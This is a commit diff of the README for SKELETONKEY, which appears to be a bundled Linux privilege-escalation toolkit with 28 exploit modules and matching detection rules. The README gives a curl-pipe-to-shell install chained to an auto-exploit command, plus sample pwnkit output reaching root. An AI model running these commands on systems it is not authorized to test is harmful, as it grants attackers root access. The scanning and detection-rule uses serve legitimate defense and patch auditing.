README: polish — accurate counts, audience table, corpus glance

Module counts were stale: 13 🟢 + 11 🟡 → corrected to 14 🟢 + 14 🟡
    (sudoedit_editor is new 🟢; sudo_samedit + sequoia + vmwgfx are
    new 🟡 from the v0.5.0 batch).
  Added 'Who it's for' table — red team / sysadmin / blue team / CTF
    each get a row.
  Added 'Corpus at a glance' section with explicit module lists per
    tier, replacing the prose paragraph that buried the names.
  Tightened Quickstart — removed duplicate one-liner block, single
    canonical command set.
  Worked example switched from fictional dirty_pipe to the actual
    --auto output shape (pwnkit pick on a vulnerable Ubuntu 5.15).
  Honest 'Status' framing — acknowledges no empirical end-to-end
    validation yet, calls it the next roadmap item. Replaces the
    aspirational 'CI-tested across a distro matrix' claim.
  Added 'How it works' (was 'Architecture' + 'Build & run' merged
    into a clearer flow) and 'The verified-vs-claimed bar' section
    explaining why most modules ship without per-kernel offsets.
This commit is contained in:
2026-05-17 02:02:50 -04:00
parent 95135213e5
commit 2873133852
+130 -127
View File
@@ -5,180 +5,183 @@
[![Modules](https://img.shields.io/badge/modules-28-brightgreen.svg)](CVES.md) [![Modules](https://img.shields.io/badge/modules-28-brightgreen.svg)](CVES.md)
[![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#) [![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#)
> **One curated binary. Twenty-eight Linux LPE exploits from 2016 → 2026. > **One curated binary. 28 Linux LPE exploits, 2016 → 2026. Detection
> Detection rules in the box. One command picks the safest one and runs it.** > rules in the box. One command picks the safest one and runs it.**
```bash ```bash
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \ curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
&& skeletonkey --auto --i-know && skeletonkey --auto --i-know
``` ```
**For red teams:** stop curating dead PoC repos. `skeletonkey --scan` > ⚠️ **Authorized testing only.** SKELETONKEY runs real exploits. By
tells you what works; `--auto` picks the safest one and pops shell. > using it you assert you have explicit authorization to test the
> target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
**For sysadmins:** run it on your fleet (or in CI) to know which boxes ## Why use this
still need patching — same binary, same rules, no third-party SaaS.
**For blue teams:** every module ships matching auditd + sigma rules. Most Linux privesc tooling is broken in one of three ways:
`skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules`
gets you SIEM coverage for every CVE in the corpus.
> ⚠️ **Authorized testing only.** SKELETONKEY is a research and red-team - **`linux-exploit-suggester` / `linpeas`** — tell you what *might*
> tool. By using it you assert you have explicit authorization to test work, run nothing
> the target system. See [`docs/ETHICS.md`](docs/ETHICS.md). - **`auto-root-exploit` / `kernelpop`** — bundle exploits but ship
no detection signatures and went stale years ago
- **Per-CVE PoC repos** — one author, one distro, abandoned within
months
SKELETONKEY is one binary, actively maintained, with detection rules
for every CVE in the bundle — same project for red and blue teams.
## Who it's for
| Audience | What you get |
|---|---|
| **Red team / pentesters** | One tested binary. `--auto` ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. |
| **Sysadmins** | `skeletonkey --scan` (no sudo needed) tells you which boxes still need patching. Fleet-scan tool included. JSON output for CI gates. |
| **Blue team / SOC** | Auditd + sigma + yara + falco rules for every CVE. `--detect-rules --format=auditd \| sudo tee …` ships SIEM coverage in one command. |
| **CTF / training** | Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. |
## Corpus at a glance
**28 modules** spanning the 2016 → 2026 LPE timeline:
| Tier | Count | What it means |
|---|---|---|
| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
**🟢 Modules that land root on a vulnerable host:**
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
(KASLR leak primitive)
**🟡 Modules with opt-in `--full-chain`:**
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
detection status.
## Quickstart ## Quickstart
```bash ```bash
# One-shot install (x86_64 / arm64; checksum-verified) # Install (x86_64 / arm64; checksum-verified)
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
```
### One-command root (sysadmins / red-team)
```bash
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
&& skeletonkey --auto --i-know
```
`--auto` scans every bundled module's `detect()`, ranks the vulnerable
ones by **exploit safety** (structural escapes first, page-cache writes
next, kernel primitives, kernel races last), and runs the safest one.
If it fails, it suggests the next candidates. Authorized testing only.
**skeletonkey runs as a normal unprivileged user** — that's the whole
point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
work without `sudo`. Only `--mitigate` and rule-file installation
write to root-owned paths.
```bash
# What's this box vulnerable to? (no sudo) # What's this box vulnerable to? (no sudo)
skeletonkey --scan skeletonkey --scan
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo) # Pick the safest LPE and run it
skeletonkey --audit skeletonkey --auto --i-know
# Deploy detection rules (needs sudo to write /etc/audit/rules.d/) # Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)
skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules skeletonkey --detect-rules --format=auditd \
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
# Apply temporary mitigations (needs sudo for modprobe.d + sysctl) # Fleet scan — many hosts via SSH, aggregated JSON for SIEM
sudo skeletonkey --mitigate copy_fail ./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
--ssh-key ~/.ssh/id_rsa hosts.txt
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey --ssh-key ~/.ssh/id_rsa hosts.txt
``` ```
**SKELETONKEY runs as a normal unprivileged user** — that's the point.
`--scan`, `--audit`, `--exploit`, and `--detect-rules` all work without
`sudo`. Only `--mitigate` and rule-file installation write root-owned
paths.
### Example: unprivileged → root ### Example: unprivileged → root
```text ```text
$ id $ id
uid=1000(kara) gid=1000(kara) groups=1000(kara) uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ skeletonkey --scan $ skeletonkey --auto --i-know
[+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic) [*] auto: host=demo kernel=5.15.0-56-generic arch=x86_64
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17) [*] auto: scanning 28 modules for vulnerabilities...
[+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1) [+] auto: dirty_pipe VULNERABLE (safety rank 90)
[-] copy_fail not vulnerable (kernel 5.15 < introduction) [+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
[-] dirty_cow not vulnerable (kernel ≥ 4.9) [+] auto: pwnkit VULNERABLE (safety rank 100)
$ skeletonkey --exploit dirty_pipe --i-know [*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable [*] auto: launching --exploit pwnkit...
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
[+] dirty_pipe: spawning su root [+] pwnkit: writing gconv-modules cache + payload.so...
[+] pwnkit: execve(pkexec) with NULL argv + crafted envp...
# id # id
uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root)
``` ```
`skeletonkey --help` lists every command. See [`CVES.md`](CVES.md) for The safety ranking goes: **structural escapes** (no kernel state
the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md) touched) → **page-cache writes****userspace cred-races**
for the blue-team deployment guide. **kernel primitives****kernel races** (least predictable). The
goal is to never crash a production box looking for root.
## What this is ## How it works
Most Linux LPE references are dead repos, broken PoCs, or single-CVE Each CVE (or tightly-related family) is a **module** under `modules/`.
deep-dives. **SKELETONKEY is a living corpus**: each CVE that lands here Modules export a standard interface (`detect / exploit / mitigate /
is empirically verified to work on the kernels it claims to target, cleanup`) plus metadata (kernel range, detection rule text). The
CI-tested across a distro matrix, and ships with the detection top-level binary dispatches per command:
signatures defenders need to spot it in their environment.
The same binary covers offense and defense: - `--scan` walks every module's `detect()` against the running host
- `--exploit <name> --i-know` runs the named module's exploit (the
`--i-know` flag is the authorization gate)
- `--auto --i-know` does the scan, ranks by safety, runs the safest
- `--detect-rules --format=<auditd|sigma|yara|falco>` emits the
embedded rule corpus
- `--mitigate <name>` / `--cleanup <name>` apply / undo temporary
mitigations (module-dependent — most kernel modules say "upgrade")
- `--dump-offsets` reads `/proc/kallsyms` + `/boot/System.map` and
emits a ready-to-paste C entry for the `--full-chain` offset table
- `skeletonkey --scan` — fingerprint the host, report which bundled CVEs See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
apply, and which are blocked by patches/config/LSM module-loader design.
- `skeletonkey --exploit <CVE>` — run the named exploit (with `--i-know`
authorization gate) ## The verified-vs-claimed bar
- `skeletonkey --detect-rules` — dump auditd / sigma / yara rules for
every bundled CVE so blue teams can drop them into their tooling Most public PoC repos hardcode offsets for one kernel build and
- `skeletonkey --mitigate` — apply temporary mitigations for CVEs the silently break elsewhere. SKELETONKEY refuses to ship fabricated
host is vulnerable to (sysctl knobs, module blacklists, etc.) offsets. The shared `--full-chain` finisher only returns
`EXPLOIT_OK` after a setuid bash sentinel file *actually appears*;
otherwise modules return `EXPLOIT_FAIL` with a diagnostic. Operators
populate the offset table once per target kernel via
`skeletonkey --dump-offsets` and either set env vars or upstream the
entry via PR ([`CONTRIBUTING.md`](CONTRIBUTING.md)).
## Build from source
```bash
git clone https://github.com/KaraZajac/SKELETONKEY.git
cd SKELETONKEY
make
./skeletonkey --version
```
Builds clean with gcc or clang on any modern Linux. macOS dev builds
also compile (modules with Linux-only headers stub out gracefully).
## Status ## Status
**Active — v0.5.0 cut 2026-05-17.** Corpus covers **28 modules** **v0.5.0 cut 2026-05-17.** 28 modules. All build clean on Debian 13
across the 2016 → 2026 LPE timeline: (kernel 6.12) and refuse cleanly on patched hosts. Empirical
end-to-end validation on a vulnerable-kernel VM matrix is the next
roadmap item; until then, the corpus is best understood as
"compiles + detects + structurally correct + honest on failure."
- 🟢 **13 modules land root** end-to-end on a vulnerable host See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
(copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit, infrastructure work.
overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
- 🟡 **11 modules fire the kernel primitive** by default and refuse
to claim root without empirical confirmation. Pass `--full-chain`
to engage the shared `modprobe_path` finisher and attempt root
pop — requires kernel offsets via env vars / `/proc/kallsyms` /
`/boot/System.map`; see [`docs/OFFSETS.md`](docs/OFFSETS.md).
Modules: af_packet, af_packet2, af_unix_gc, cls_route4,
fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup,
nft_payload, nft_set_uaf, stackrot.
- Detection rules ship inline (auditd / sigma / yara / falco) and
are exported via `skeletonkey --detect-rules --format=…`.
See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status. ## Contributing
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
## Why this exists PRs welcome for: kernel offsets (run `--dump-offsets` on a target
kernel, paste into `core/offsets.c`), new modules, detection rules,
The Linux kernel privilege-escalation space is fragmented: and CVE-status corrections. See [`CONTRIBUTING.md`](CONTRIBUTING.md).
- **`linux-exploit-suggester` / `linpeas`**: suggest applicable
exploits, don't run them
- **`auto-root-exploit` / `kernelpop`**: bundle exploits, but largely
stale, no CI, no defensive signatures
- **Per-CVE single-PoC repos**: usually one author, often abandoned
within months of release, often only one distro
SKELETONKEY's bet is that there's room for a single curated bundle that
(1) actively maintains a small set of high-quality exploits across a
multi-distro matrix, and (2) ships detection rules alongside each
exploit so the same project serves both red and blue teams.
## Architecture
Each CVE (or tightly-related family) is a **module** under `modules/`.
Modules export a standard interface: `detect()`, `exploit()`,
`mitigate()`, `cleanup()`, plus metadata describing affected kernel
ranges, distro coverage, and CI test matrix.
Shared infrastructure (AppArmor bypass, su-exploitation primitives,
fingerprinting, common utilities) lives in `core/`.
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
module-loader design and how to add a new CVE.
## Build & run
```bash
make # build all modules
./skeletonkey --scan # what's this box vulnerable to? (no sudo)
./skeletonkey --scan --json # machine-readable output for CI/SOC pipelines
./skeletonkey --detect-rules --format=sigma > rules.yml
./skeletonkey --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
```
## Acknowledgments ## Acknowledgments
Each module credits the original CVE reporter and PoC author in its Each module credits the original CVE reporter and PoC author in its
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer; the `NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer;
research credit belongs to the people who found the bugs. the research credit belongs to the people who found the bugs.
## License ## License